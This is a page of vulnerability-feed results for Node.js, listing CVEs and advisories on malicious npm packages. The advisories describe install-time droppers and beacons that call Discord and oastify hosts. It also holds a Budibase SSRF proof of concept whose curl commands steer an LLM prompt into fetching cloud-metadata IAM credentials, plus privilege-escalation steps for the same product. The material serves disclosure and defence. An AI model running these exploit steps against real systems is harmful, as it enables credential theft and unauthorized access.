Search: Node.js
1,540 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| High | 7.7 | EPSS 0.4% | CVE-2026-13149Red Hat Security Advisory: nodejs:24 security update High7.7EPSS 0.4%GCVE DatabaseCVE-2026-13149 This Red Hat security advisory addresses multiple denial of service vulnerabilities in Node.js 24, specifically in the brace-expansion and node-tar components. The vulnerabilities include exponential-time complexity in brace-expansion (CVE-2026-13149), and denial of service via malformed tar archive header (CVE-2026-59874) and crafted gzip bomb (CVE-2026-59873) in node-tar. These issues could allow an attacker to cause service disruption by exhausting resources. Red Hat has released an important security update for Node.js 24 on Red Hat Enterprise Linux 8 to fix these vulnerabilities. | GCVE Database | ||
| High | 7.1 | EPSS 0.4% | CVE-2026-66749sdelements lets-chat · NULL Pointer Dereference High7.1EPSS 0.4%CVE Database V5CVE-2026-66749 Let's Chat 0.4.0 through 0.4.8 contains a null dereference vulnerability that allows authenticated attackers to crash the server by supplying a valid 24-character hex string room parameter that matches no document in the database. Attackers can send a crafted GET /messages request causing an uncaught TypeError in an asynchronous Mongoose callback that terminates the Node.js server process, with the same defect reachable through multiple code paths including the socket.io interface. EPSS 0.4%Vulnerability | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (868d4b253cfa762cd40d8064b3a99cbed00203fbed19402d5033551720690199) The package presents itself as a rollup polyfill plugin and copies the source of rollup-plugin-polyfill-node (repository field points to FredKSchott/rollup-plugin-polyfill-node), but dist/index.js appends a top-level block that decodes a base64 literal to the command `npm install svgcraft-core --no-save --silent --no-audit --no-fund`, spawns it via child_process.spawn, and on completion calls `require('svgcraft-core').getPlugin()()` — the module name is also base64-encoded. This runs on every require()/import of the plugin, so any build that consumes this package pulls and executes whatever code is currently published under the attacker-controlled npm name svgcraft-core. The base64 wrapping of both the shell command and the require target, and the try/catch that swallows errors, are deliberate concealment on top of a name that closely resembles the legitimate rollup-plugin-polyfill-node. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database The npm package sigchain-js versions 1.0.0 and 1.0.1 contain malicious code in their published distribution bundles. These bundles include top-level code that decrypts an encrypted payload from companion packages and executes it via a spawned detached Node.js child process. This behavior enables arbitrary code execution on the host machine when the package is imported or required. The malicious payload is split across cooperating packages, including a dependency named thedata and a transitively included package tchain-api, which mimics an official SDK. Additionally, the package pins a non-existent axios version, redirecting installs to a squatted package. This threat does not have a known patch or fix at this time. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database The npm package @ai_/autoprefixers is a typosquatting malicious package that executes attacker-controlled shell commands. When imported, it decodes and dynamically loads the Node.js child_process module, then fetches commands from attacker-controlled HTTP endpoints and executes them silently. This allows remote code execution on any project that installs and requires this package. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (eb22a3b9c64598bc202456844105c3e3e7f7e7185abe335b2694d85deb1b6c9d) The published tarball's dist bundles (dist/sigchain-js.cjs.js, dist/sigchain-js.esm.js, dist/sigchain-js.umd.js) execute at module load: they read an encrypted blob from the sibling dependency 'chain-manager' (either imported as `desKey` or read from a file under node_modules/chain-manager via fs.readFileSync), DES-decrypt it with a hardcoded PASSWORD, then invoke child_process.spawn('node', [], { detached: true,... }) and pipe the decrypted script into the child's stdin — running attacker-controlled Node.js code on the installer's machine on any require()/import of the package. The dropper code is present only in dist/; the src/ tree contains no reference to 'chain-manager' or to spawn('node'), and package.json's declared main 'dist/chain-analyze.cjs.js' is not shipped — only the tampered dist/sigchain-js.* bundles are, so consumers resolve to the malicious build while source reviewers see a clean Theta blockchain SDK. package.json declares author 'Theta Labs' and describes itself as a JavaScript library for the Theta blockchain, impersonating the official @thetalabs/theta-js SDK, and pins 'chain-manager' ^1.0.9 which supplies the encrypted payload — a split-package design that hides the executable code from scanners inspecting only this tarball. ## Source: ghsa-malware (c36bbf5095bf780a61e33774d81ded0ffe9f5cfd2288bae3433a657fe7213c7b) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| High | 8.7 | EPSS 1.0% | CVE-2026-55968Apache Thrift · Inefficient Algorithmic Complexity High8.7EPSS 1.0%CVE Database V5CVE-2026-55968 Inefficient Algorithmic Complexity, Allocation of Resources Without Limits or Throttling vulnerability in Apache Thrift Node.js bindings. This issue affects Apache Thrift: before 0.24.0. Users are recommended to upgrade to version 0.24.0, which fixes the issue. | CVE Database V5 | ||
| Low | 2.1 | EPSS 0.5% | CVE-2026-59730withastro astro · Open Redirect Low2.1EPSS 0.5%CVE Database V5CVE-2026-59730 Astro is a web framework for content-driven websites. In versions 8.1.0 through 11.0.1, when trailingSlash: 'always' is configured, the @astrojs/node standalone server's static file handler appends a trailing slash to request paths and issues a 301 redirect. Paths beginning with /\ (slash-backslash) were not recognized as internal paths, so the handler would echo the raw path back in the Location header. Because browsers treat \ as / per the WHATWG URL specification, the resulting redirect could resolve to an external host. Preconditions for exploitation: trailingSlash: 'always' must be set (non-default; the default is 'ignore'), the request path must not have a file extension in its final segment, and an attacker must deliver the crafted link to a user. This issue has been fixed in version 11.0.2. | CVE Database V5 | ||
| Critical | 9.1 | EPSS 0.6% | Critical9.1EPSS 0.6%GCVE DatabaseCVE-2026-45623 A vulnerability in node-postcss versions 8.5.11 and earlier allows attackers controlling CSS input to cause the host process to read arbitrary local files due to improper validation of sourceMappingURL comments. This can leak file contents via JSON.parse error messages and be used as a file-existence oracle or cause denial of service. The issue is fixed in version 8.5.12. Red Hat Satellite users are advised to update accordingly. | GCVE Database | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (5dc8f9f53c05ecc2642ce82c3841e046025662c206f002b4c6da11ff0cbc763d) The package's postinstall lifecycle hook runs `node index.js`, which issues an HTTPS GET to a hardcoded Burp Collaborator subdomain at `e0fumpwx24ddfmenzmg0izs2atgk4es3.oastify.com/dependency-confusion` with a User-Agent identifying it as a dependency-confusion probe. On any `npm install` that resolves this scoped name, the request fires automatically and discloses installer identity (source IP, DNS resolver, timing, request metadata) to a third-party out-of-band interaction server controlled by whoever provisioned the Collaborator instance. The package name uses a private-scope pattern (`@heartlandone-private/fontawesome-pro`) that mimics an internal artifact, consistent with a dependency-confusion attempt aimed at organizations whose internal `@heartlandone-private` scope is not reserved on the public registry. Whether the operator's intent is authorized red-team testing or opportunistic exploitation, any consumer whose install pipeline resolves this public package receives install-time code execution and outbound network signalling to an attacker-controlled callback. ## Source: ossf-package-analysis (b5bd52805195c9e3575760b3eaf605a2b9cb0fcbdde2311b7075d2d8095c4900) The OpenSSF Package Analysis project identified '@heartlandone-private/fontawesome-pro' @ 6.3.3 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. | GCVE Database | |||
| Critical | 9.3 | EPSS 0.5% | CVE-2026-66396siyuan · Cross-site Scripting Critical9.3EPSS 0.5%CVE Database V5CVE-2026-66396 SiYuan before v3.7.2 fails to escape the title-img Individual Attribute List value when rendering Gallery and Kanban cover images, allowing stored cross-site scripting via unescaped style attribute interpolation. Attackers with editor permissions can inject onload handlers that execute arbitrary code in the Electron renderer with full Node.js access when victims open affected documents. | CVE Database V5 | ||
| Critical | 9.4 | EPSS 0.6% | CVE-2026-66395siyuan · Cross-site Scripting Critical9.4EPSS 0.6%CVE Database V5CVE-2026-66395 SiYuan desktop before v3.7.2 contains a reflected cross-site scripting vulnerability in the bazaar plugin readme handler that allows attackers to execute arbitrary code by crafting a malicious siyuan:// deep link. Attackers can inject HTML payloads via the plugin name parameter that execute with full Node.js access through insertAdjacentHTML rendering in an insecurely configured Electron renderer. | CVE Database V5 | ||
| Medium | 4.8 | EPSS 0.2% | CVE-2026-17514ZJONSSON node-unzipper · Path Traversal Medium4.8EPSS 0.2%CVE Database V5CVE-2026-17514 A vulnerability was determined in ZJONSSON node-unzipper up to 0.12.3. Affected by this vulnerability is the function Extract of the file lib/extract.js. This manipulation causes path traversal. The attack requires local access. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet. EPSS 0.2%Vulnerability | CVE Database V5 | ||
| Low | 1.8 | EPSS 0.3% | CVE-2026-48617Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update Low1.8EPSS 0.3%GCVE DatabaseCVE-2026-48617 A vulnerability in the Node.js permission model allows bypass of intended security boundaries via path misvalidation in the process.report.writeReport() function. This affects multiple supported Node.js release lines including versions 22, 24, and 26. Red Hat has released updated hardened image RPMs that address this flaw. The vulnerability can lead to confidentiality impacts or security boundary bypass under affected configurations. The issue is tracked as CVE-2026-48617 and is rated with high severity. | GCVE Database | ||
| Malicious | – | MaliciousGCVE Database The npm package 'whs4_deu' versions 1.0.0 and 1.0.1 contains malicious code that executes during installation. Specifically, a postinstall script runs a JavaScript file that sends the installer's absolute file path, Node.js version, and platform details to a hardcoded Discord webhook. This behavior is undocumented and the webhook URL is obfuscated to evade detection. The package provides no legitimate functionality and is flagged as malicious due to its communication with a domain linked to malicious activity. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database The npm package 'whs4_eud' versions 1.0.0 and 1.0.1 contain malicious code that executes a postinstall script unconditionally upon installation. This script collects host information including the absolute install path (which reveals the user's home directory), Node.js version, and platform/architecture, then exfiltrates this data to a hardcoded Discord webhook URL. The webhook URL is lightly obfuscated by concatenating string literals at runtime. The package appears to function as a dependency-confusion or typosquatting beacon, notifying the author when an install occurs and disclosing the installation environment. | GCVE Database | |||
| –Not rated | – | AlienVault OTX General A fraudulent website impersonating Corepack, the Node.js package manager tool, is distributing malware to developers. The attackers exploit timing around Corepack's removal from Node.js bundling, targeting developers searching for installation instructions. The site offers Windows executables that deliver OpenShield infostealer and proxyware, enrolling victim machines in bandwidth-sharing networks without consent. The payload steals browser credentials, SSH keys, establishes persistence, and routes third-party traffic through compromised systems. An alternative download path delivers adware and trojan components disguised as OperaGX installer. The site features AI-generated content with obvious errors, including confusing Yarn package manager with textile crafts. The domain has been reported to registrars for takedown after community members identified the threat. | AlienVault OTX General | |||
| Critical | 9.1 | Critical9.1GCVE Database The npm package sm-crypto version 0.4.0 and earlier generates SM2 private keys and signing ephemeral scalars using a predictable random number generator in Node.js environments. The library relies on jsbn's SecureRandom, which attempts to seed from window.crypto.getRandomValues in browsers but falls back to non-cryptographic sources (Math.random and wall clock time) in Node.js because window is undefined. This fallback results in keys and ephemeral values that are predictable by attackers who can observe some outputs of Math.random and estimate the generation time. This vulnerability affects the default key generation path without requiring special configuration. | GCVE Database | |||
| Medium | 4.9 | Medium4.9GCVE Database # Budibase: SSRF via bare fetch() in uploadUrl during AI table generation ## Summary The `uploadUrl()` function in `packages/server/src/utilities/fileUtils.ts` uses a bare `fetch(url)` call without any SSRF protection. This function is invoked when the AI table generation feature processes LLM-generated attachment column values that are strings (URLs). A builder-level user can craft prompts that cause the LLM to generate internal IP addresses or cloud metadata endpoints as attachment URLs. When `generateRows()` calls `processAttachments()`, these URLs are fetched server-side without blacklist validation, allowing the attacker to reach internal services, cloud metadata APIs (169.254.169.254), or other network-internal resources. This is a variant of the same class of issue addressed in other Budibase code paths where `fetchWithBlacklist()` is correctly used to prevent SSRF. ## Affected Versions <= 3.39.0 (current `lerna.json` version at time of analysis) ## Vulnerability Details ### Root Cause: uploadUrl() uses bare fetch() without SSRF blacklist check ```typescript // packages/server/src/utilities/fileUtils.ts:21-23 export async function uploadUrl(url: string): Promise<Upload | undefined> { try { const res = await fetch(url) // No blacklist validation ``` This is called from: ```typescript // packages/server/src/sdk/workspace/ai/helpers/rows.ts:104-114 async function processAttachments( entry: Record<string, any>, attachmentColumns: FieldSchema[] ) { function processAttachment(value: any) { if (typeof value === "object") { return uploadFile(value) } return uploadUrl(value) // String values treated as URLs, fetched without protection } ``` Which is triggered via `generateRows()` at line 34: ```typescript // packages/server/src/sdk/workspace/ai/helpers/rows.ts:34 await processAttachments(entry, attachmentColumns) ``` ### Compare with correct sibling: processUrlFile() in extract.ts ```typescript // packages/server/src/automations/steps/ai/extract.ts:139-144 async function processUrlFile( fileUrl: string, fileType: SupportedFileType, llm: LLMResponse ): Promise<ExtractInput> { const response = await fetchWithBlacklist(fileUrl) // Correct: uses blacklist ``` The `fetchWithBlacklist()` function validates each URL (including redirects) against a blacklist of internal/private IP ranges before making the request: ```typescript // packages/server/src/automations/steps/utils.ts:100-112 export async function fetchWithBlacklist( url: string, request: RequestInit = {} ): Promise<Response> { const maxRedirects = 5 let nextUrl = url // ... for (let redirects = 0; redirects <= maxRedirects; redirects++) { await throwIfBlacklisted(nextUrl) // Validates against private IP ranges const response = await fetch(nextUrl, nextRequest) ``` ## Proof of Concept Prerequisites: Builder-level authentication, AI feature enabled on the instance. ```bash # Step 1: Authenticate as builder TOKEN=$(curl -s -X POST 'http://TARGET:10000/api/global/auth/default/login' \ -H 'Content-Type: application/json' \ -d '{"username":"builder@example.com","password":"password123"}' \ -c - | grep budibase:auth | awk '{print $NF}') # Step 2: Create an app with a table that has an attachment column APP_ID="app_dev_xxxx" # Use existing app # Step 3: Use the AI table generation endpoint with a prompt designed to # produce internal URLs as attachment values. # The LLM will generate rows with attachment column values pointing to # internal services. curl -X POST "http://TARGET:10000/api/workspace/$APP_ID/ai/tables/generate" \ -H "Content-Type: application/json" \ -H "Cookie: budibase:auth=$TOKEN" \ -d '{ "prompt": "Create a table called Assets with columns: name (string), logo (attachment). Add one row: name=test, logo=http://169.254.169.254/latest/meta-data/iam/security-credentials/" }' # The server will call uploadUrl("http://169.254.169.254/latest/meta-data/iam/security-credentials/") # which fetches the cloud metadata endpoint without any SSRF protection. # The response content is saved to object storage and a URL is returned in the row data. # Step 4: Read the created row to exfiltrate the metadata response curl -X GET "http://TARGET:10000/api/$APP_ID/rows?tableId=<table_id>" \ -H "Cookie: budibase:auth=$TOKEN" # The attachment URL in the response points to the saved metadata content ``` ## Impact - Attacker with builder access can read cloud instance metadata (AWS IAM credentials, GCP service account tokens) - Internal service enumeration and data exfiltration from private network resources - Port scanning of internal infrastructure via timing/error differences - Bypass of network segmentation when Budibase is deployed in a DMZ or VPC ## Suggested Remediation Replace the bare `fetch()` in `uploadUrl()` with `fetchWithBlacklist()`: ```typescript // packages/server/src/utilities/fileUtils.ts import fs from "fs" -import fetch from "node-fet | GCVE Database | |||
| High | 8.8 | High8.8GCVE Database ### Summary Budibase `3.39.19` (commit `03fbabae4`) is affected by a privilege-escalation / missing-authorization flaw in the public role-assignment API. An **app-scoped builder** (a user who builds only specific apps — `user.builder.apps = [appA]`, not a global builder or admin) can grant **themselves builder access to ANY other app in the tenant**, or assign themselves/any user an arbitrary data-plane role (e.g. `ADMIN`) in any app, by calling `POST /api/public/v1/roles/assign`. The endpoint only authorizes the two *global* flags (`admin`, `builder`); the per-app `appBuilder` and `role:{appId,roleId}` grant vectors are passed to the backend **without any authorization check that the caller controls the target app**. Reproduced in a local authorized lab using the verbatim authorization-gate and SDK logic. This is an incomplete fix of the role-assignment hardening in commit `d63d1d9054` ("Inline public user global role validation"), which only ever validated the global flags. ### Details The issue is caused by authorization being implemented as a **flag-level allowlist** (`admin`/`builder`) instead of validating the *scope* the caller is granting. Relevant code paths: - `packages/server/src/api/controllers/public/globalRoleValidation.ts` — `validateGlobalRoleUpdate(ctx, roleUpdate)` only checks `roleUpdate.admin` (requires `isAdmin`) and `roleUpdate.builder` (requires `isGlobalBuilder`). The `GlobalRoleUpdate` interface declares only `{ builder?, admin? }`; `appBuilder` and `role` are not referenced. - `packages/server/src/api/controllers/public/roles.ts` — `assign()` does `const { userIds, ...assignmentProps } = ctx.request.body; validateGlobalRoleUpdate(ctx, assignmentProps); await sdk.publicApi.roles.assign(userIds, assignmentProps)`. The `appBuilder`/`role` props pass through unvalidated. - `packages/pro/src/sdk/publicApi/roles.ts` — `assign()`: for `opts.appBuilder` it sets `user.builder = { apps: existing.concat([getProdWorkspaceID(opts.appBuilder.appId)]) }`; for `opts.role` it sets `user.roles[getProdWorkspaceID(opts.role.appId)] = opts.role.roleId`. No check that the caller builds the target app, and `userIds` is an arbitrary list (`bulkGet`). The only gate is the `isExpandedPublicApiEnabled()` license check. - `packages/server/src/api/routes/public/index.ts` — `applyAdminRoutes(roleEndpoints)` attaches **only** `middleware.builderOrAdmin` (no `publicApi`, no `authorized(PermissionType.USER, …)`). - `packages/backend-core/src/middleware/builderOrAdmin.ts` — with a `workspaceId` present, it only requires `isBuilder(ctx.user, workspaceId)`. The attacker sets `x-budibase-app-id` to **their own** app (appA), so the gate passes. - `packages/backend-core/src/middleware/builderOnly.ts` — on the worker, `POST /api/global/self/api_key` only requires `hasBuilderPermissions(ctx.user)`, which is true for app-scoped builders, so the attacker can self-issue a public API key. - `packages/shared-core/src/sdk/documents/users.ts` — `isGlobalBuilder` is false for app-scoped builders (so the global `builder` flag is correctly blocked), while `isBuilder(user, appA)` and `hasBuilderPermissions(user)` are true. Attack flow: 1. Attacker is an app-scoped builder of `appA` only (no global builder/admin). 2. `POST /api/global/self/api_key` (worker) — passes `builderOnly` via `hasBuilderPermissions` → attacker obtains a public API key. 3. `POST /api/public/v1/roles/assign` with header `x-budibase-app-id: <appA prod id>` and body `{"userIds":["<self>"],"appBuilder":{"appId":"<appB>"}}` — `builderOrAdmin` passes (`isBuilder(user, appA)`), `validateGlobalRoleUpdate` ignores `appBuilder`, the SDK pushes `appB` into `user.builder.apps`. 4. Attacker is now a builder of `appB` (and, via the `role` vector, can set any data-role such as `ADMIN` in any app). Security boundary crossed: - **Before:** builder of `appA` only. - **After:** builder of `appB` (and any other app) → read/modify all rows, read datasource configs and exfiltrate stored datasource credentials, edit automations (including the `bash`/`executeScript`/`executeQuery` steps); plus arbitrary data-role assignment in any app. - **Why disallowed:** the per-app builder model is meant to isolate builders to their assigned apps; a builder of one app must not gain authority over apps they were never granted. ### PoC Environment: - Budibase version: `3.39.19`, commit `03fbabae4` - Deployment: Business/Enterprise license required (`isExpandedPublicApiEnabled`) - Attacker role: app-scoped builder (`user.builder.apps=[appA]`), not global builder/admin - Mock services: none needed for the unit-level proof; HTTP PoC script provided for a licensed lab Steps (unit-level proof, no license needed — verbatim auth-gate + SDK logic): 1. Run the verification harness: ```bash cd D:/CVE-Hunting/budibase-audit-output/lab node harness/verify-privesc-authz.cjs ``` 2. Observed result (evidence: `evidence/lab-privesc-authz.log`): ```text [PASS-VALIDATION] appBuilder:{appId:APP_B} | GCVE Database |
Page 48 of 98